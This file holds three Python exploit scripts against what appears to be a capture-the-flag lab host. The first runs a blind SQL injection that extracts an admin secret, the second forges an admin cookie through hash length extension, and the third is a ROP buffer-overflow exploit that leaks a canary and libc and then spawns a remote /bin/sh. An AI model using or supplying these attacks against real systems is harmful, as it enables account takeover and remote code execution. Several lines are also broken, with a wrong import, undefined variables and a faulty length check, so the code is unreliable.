#!/usr/bin/env python3

import sys
import requests
import string

URL      = "http://10.10.10.195"
ENDPOINT = URL + "/submitmessage"
COOKIE   = {"auth": "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.sM+sPFosMol5cXEvchIHoXtiHyMgg1UmsPiSX8lzgLc=" }

## We need to retrieve admin's secret
# >> echo $COOKIE | cut -d "." -f 1 | base64 -d
# username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;
# >> echo $SECRET | wc -c
# 65
## Which is 65 alnum char lenght

def test(payload):
    response = requests.post(ENDPOINT, data = { "message" : payload }, cookies = COOKIE )
    return response.text

adminsecret = ""
for cnt in range(1,66):
    stop = False
    for letter in string.ascii_lowercase + string.digits:
        if stop:
            break
        payload = f"' AND (select CASE WHEN ( (SELECT hex(substr(secret,{cnt},1)) FROM users WHERE role=1) = hex('{letter}') ) then match(1,1) END ))--"
        resp = test(payload)
        if 'unable' in resp:
            adminsecret += letter
            if len(payload) == 64:
                print(f"[+] Finished, admin secret is:\n{adminsecret}")
                sys.exit(0)
            stop = True
    print(f"[+] Found new letter, updated secret: {adminsecret}")

#!/usr/bin/env python3

from base64 import b64decode, b64encode
import os, hashpumpy, binascii, requests

ADMIN_SESSION = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'
URL           = "http://10.10.10.195"
ENDPOINT      = URL + "/admin"

def get_cookie():
    session = requests.Session()
    session.post(URL + "/postlogin", data = {"username": "guest", "password": "guest"})
    return session.cookies["auth"]

( b64_data, b64_signature ) = get_cookie().split(".")
guest_data = b64decode(b64_data)
guest_sign = b64decode(b64_signature)

# We know the key length is between 8 and 15
for i in range(7, 16):
    (digest, message) = hashpumpy.hashpump(guest_sign.hex(), guest_data, ADMIN_SESSION, i) 
    admincookie = b64encode(message).decode("utf-8") + "." + b64encode(binascii.unhexlify(digest)).decode('utf-8')
    req = requests.get(ENDPOINT, cookies = { "auth" : admincookie } )     
    if req.status_code != 403:
        print(f"[+] FOUND: {admincookie}")
        exit(0)

print(f"[+] Not found :(")

from pwd import *

# Define basic variables and files location (to get some offsets)
HOST = "127.0.0.1"
PORT = 5001
LIBC = "./libc-2.27.so"
EXEC = "./note_server"

# https://pwntools.readthedocs.io/en/stable/context.html
context(os="linux", arch="amd64")
# https://pwntools.readthedocs.io/en/stable/tubes.html
con = remote(HOST,PORT)

def deliv(data):
	con.send(p8(1))
	con.send(p8(len(data)))
	con.send(data)

def write_to(val=0):
	if val == None:
		val = len(app_len)
	while val < 1024:
		app_len = min(255, 1024 - val)
		app_data = cyclic(app_len)
		deliv(app_data)
		val += app_len


def copy_to(offset, size):
	con.send(p8(2))
	con.send(p16(offset))
	con.send(p8(size))


def read_notes(size=0):
	if size == None:
		con.send(p8(3))
		data = con.recvall()
	else:
		con.send(p8(3))
		data = con.recv(size)
	return data


def rop(can, rbp, ropp):
	padding = p64(0x4141) + p64(can) + p64(rbp) + ropp.chain()
	deliv(padding)
	write_to(val=len(padding))
	copy_to(offset=0, size=len(padding))
	f = read_notes(1024 + len(padding))
	return f


# Fill the buffer and read the stack
write_to()
# Use binary function to read notes from offset
copy_to(1024, 32)
# Read notes from the end of the buffer
data = read_notes(1056)[1024:]

# Address of the canary
canary = u64(data[8:16])
# Pointer for current stack frame 
rbp = u64(data[16:24])
# Pointer for next instruction
rip = u64(data[24:])

libc_call_address = rip - 0xf54 #address libc exit(0)

# https://pwntools.readthedocs.io/en/stable/elf/elf.html
efi = ELF(EXEC, checksec=False)
efi.address = libc_call_address 

# Return Oriented Programming
# https://pwntools.readthedocs.io/en/stable/rop/rop.html
ropp = ROP(efi) 
ropp.write(4, efi.got['write'])

# Enstablish a new connection
con = remote(host, port)
rop(can, rbp, ropping)
libc_address = u64(con.recv(8))


efi2 = ELF(LIBC, checksec=False)
efi2.address = libcc - efi2.symbols['write']

# Return Oriented Programming
# https://pwntools.readthedocs.io/en/stable/rop/rop.html
rop2 = ROP(efi2)
rop2.dup2(4, 0)
rop2.dup2(4, 1)

# Check the offset of the system call
rop2.execve(next(efi2.search(b"/bin/sh\x00")), 0, 0)

# Enstablish the last connection
con = remote(host, port)
rop(can, rbp, ropp=rop2)
# Make it interactive because we returned to /bin/sh as root!
con.interactive()